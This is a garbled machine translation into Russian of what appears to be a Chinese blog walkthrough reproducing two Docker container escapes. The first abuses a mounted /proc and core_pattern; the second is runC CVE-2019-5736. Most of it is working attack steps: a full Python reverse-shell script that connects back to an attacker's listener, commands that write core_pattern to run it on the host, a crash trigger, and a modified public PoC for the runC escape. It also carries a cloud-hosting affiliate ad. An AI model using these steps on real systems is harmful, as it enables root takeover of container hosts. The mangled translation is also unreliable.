procfs
Это виртуальная файловая система, отображающая состояние системных процессов.,Содержит конфиденциальную информацию. Установите его непосредственно в неконтролируемый контейнер.,В частности, контейнеры по умолчанию имеютroot
разрешения и изоляция пользователей не включены,значительно увеличит риски безопасности. поэтому,Нужно обращаться с осторожностью,Убедитесь, что контейнерные среды надежно изолированы.
файл эксплойта/proc/sys/kernel/core_pattern
это внутриLinuxв системе,Если процесс дает сбой,Ядро системы будет собирать информацию о сбое процесса.,Передайте информацию о сбое процесса в программу в этом файле.или Скрипт。
Начиная с версии ядра Linux 2.6.19.,/proc/sys/kernel/core_pattern
Конфигурация приветствует новые расширения。Если первый символ этого файла является символом вертикальной черты'|',Содержимое, следующее за ним, распознается как инструкция, указывающая на программу или сценарий пользовательского пространства.,Система автоматически вызовет и выполнит эти внешние программы или сценарии при создании дампов ядра. Эта функция повышает гибкость и настройку обработки дампа ядра.
Создайте контейнер и смонтируйте каталог /proc.
docker run -it --rm -v /proc/:/host/ ubuntu
Выполните следующую команду: Если возвращается Procfs, это означает, что procfs в данный момент смонтирован. Если Procfs не смонтирован, это означает, что он не смонтирован.
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
эксплуатировать
# Установить gcc файл c не может быть выполнен,нуждаться Установить gcc для выполнения файлов c
apt update && apt install -y gcc
Сценарий оболочки восстановления
cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = «IP-адрес машины атаки с отскоком оболочки»
lport = 8888
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
EOF
Предоставить разрешения на выполнение
chmod 777 /tmp/.t.py
Программа дампа ядра Linux выполняется через файловую систему хоста.,использовать/etc/mtab
серединаupperdir
Найдите точку подключения контейнера。Изменения незафиксированных файлов контейнера,Виден на этом пути хоста.
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
Написать оболочку отскока
echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern
Включить прослушиватель на атакующей машине
nc -lvvp 8888
Затем запустите в контейнере программу, которая может привести к сбою.
cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
EOF
# Скомпилируйте программу и запустите ее
cd /tmp
gcc t.c -o t && ./t
Если возникает следующая ситуация и атакующая машина не отвечает, возможно, это связано с тем, что атакующая машина не освободила порт 8888.
Кали выпускает порт 8888,использоватьiptables
iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
В это время перезапустите файл c.
./t
# или
gcc t.c -o t && ./t
Атакуйте машину, чтобы получить рикошетный снаряд.
В феврале 2019 года группа поддержки runC обнаружила серьезную уязвимость безопасности CVE-2019-5736, обнаруженную Алексой Сарай, старшим инженером-программистом в SUSE Linux. Эта уязвимость затрагивает широко используемые среды выполнения контейнеров, такие как Docker,Containerd, Podman и CRI-O, создавая серьезную угрозу для ИТ-сред и основных облачных платформ, таких как AWS и Google Cloud. Злоумышленник может использовать эту уязвимость, чтобы выйти из контейнера, получить root-права хоста, а затем управлять всеми контейнерами на хосте.
Основная причина уязвимости кроется в runC.,Инструмент с открытым исходным кодом, который служит базовой средой выполнения для контейнеров.,Ранняя разработка в рамках Docker,Потом стал независимым. runC вызывается средами выполнения контейнеров высокого уровня, такими как Docker.,Отвечает за создание контейнеров и управление процессами.。получение Затронутая версиясередина(«До Docker 18.09.2 версия runc была ниже, чем 1.0-rc6»),Злоумышленники могут действовать через определенные образы контейнеров или выполнять,Получить дескриптор файла runC на хосте,Затем внесите изменения в двоичный файл runc. Эта операция позволяет злоумышленнику выполнять произвольные команды на хосте с правами root.,Получите полный контроль.
docker version <=「18.09.2」 RunC version <=「1.0-rc6」
Это гонконгский сервер Centos 7.9, машина атаки, облачный сервер Tencent.
❝ Здесь я рекомендую Tencent Cloud Server.,Новые пользователи могут использовать его в течение одного года за 99 юаней.,Поставляется с сервисом ускорения докера.,Обязательно для стрельбища===>https://curl.qcloud.com/T7dJtWo1 ❞
Выполните следующие команды последовательно, чтобы успешно установить docker-18.03.1.
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version
❝ Советы. Начиная с июня большинство отечественных источников Docker больше не будут доступны.,要么использовать香港илииностранная операционная система,илирекомендовать«Операционная система Дракона Ящерицы»,Даже если он создан локально, он также имеет внешнее сетевое ускорение. ❞
Причина использования версии для докера заключается в том, что образ не может быть извлечен. Вы можете загрузить его локально. Здесь я подготовил образ Ubuntu, который можно использовать непосредственно в докере. [Сетевая безопасность Xiaoyu] Фоновый ответ — [ubuntu]. , пожалуйста, не отвечайте неправильно, ubuntu, ubuntu, ubuntu~
Загрузите его самиubuntu.tarЗагрузите к себецелевой дронначальство,Используйте докер для загрузки локальных изображений
docker load -i ubuntu.tar
Запустить пример
docker run -d --name my_ubuntu_container ubuntu /bin/bash -c "tail -f /dev/null"
Загрузите CVE-2019-5736 и скомпилируйте сценарий go для создания полезных данных для атаки. (https://github.com/Frichtten/CVE-2019-5736-PoC), измените команду в сценарии go на оболочку восстановления (вложение)
Внесите изменения в этот контент,настраивать「nc」адрес прослушивания。
Скомпилируйте и сгенерируйте полезную нагрузку (требуется среда go,yum install go
) , также называемый исполняемым файлом, для системы Linux
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
Рекомендуется сделать снимок. Завершение Повторения уязвимостей приведет к тому, что докер станет непригодным для использования.
Скопируйте полезную нагрузку в контейнер докеров (это имитирует получение злоумышленником разрешений на доступ к контейнеру докеров и загрузку полезных данных в контейнер для выхода из докера).
docker cp main df9370449f96:/home #копировать
docker exec -it df9370449f96 /bin/bash #Войдите в контейнер Ubuntu
Выполните полезную нагрузку и подождите, пока жертва запустит докер-контейнер.
Откройте порт 1234, прежде чем атаковать машину и включить прослушивание Swiss Army Knife.
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zone=public --add-port=1234/tcp --permanent
success
Включить мониторинг
Заставить машину-жертву повторно войти в контейнер。(「bash/sh」запускать)
Когда жертва запускает докер-контейнер, активируется полезная нагрузка и оболочка успешно восстанавливается.
whoami,эксплуатироватьуспех
В этой статье подробно показан процесс повторения двух уязвимостей безопасности контейнера Docker, а именно атаки на побег через псевдофайловую систему procfs и уязвимости побега runC CVE-2019-5736. Обе атаки используют неправильную изоляцию или недостатки программного обеспечения между контейнером и хостом для достижения незаконного доступа и контроля изнутри контейнера к среде хоста.
/proc
Оглавлениев контейнер,Злоумышленник может получить доступ к критическим системным файлам на хост-компьютере и изменить их.,нравиться/proc/sys/kernel/core_pattern
,Это позволяет выполнять произвольный код при сбое процесса./proc
ОглавлениеизDockerконтейнер。/proc/sys/kernel/core_pattern
документ,Укажите Сценарий восстановления внутри контейнера./proc
)挂载到контейнерсередина。Воспроизведя эту статью, мы можем глубоко понять важность безопасности контейнеров и необходимость своевременного обновления и поддержки версий программного обеспечения. С широким применением контейнерных технологий обеспечение безопасности контейнерной среды станет важной задачей для ИТ-операций и групп безопасности.
Оригинальная ссылка:
https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA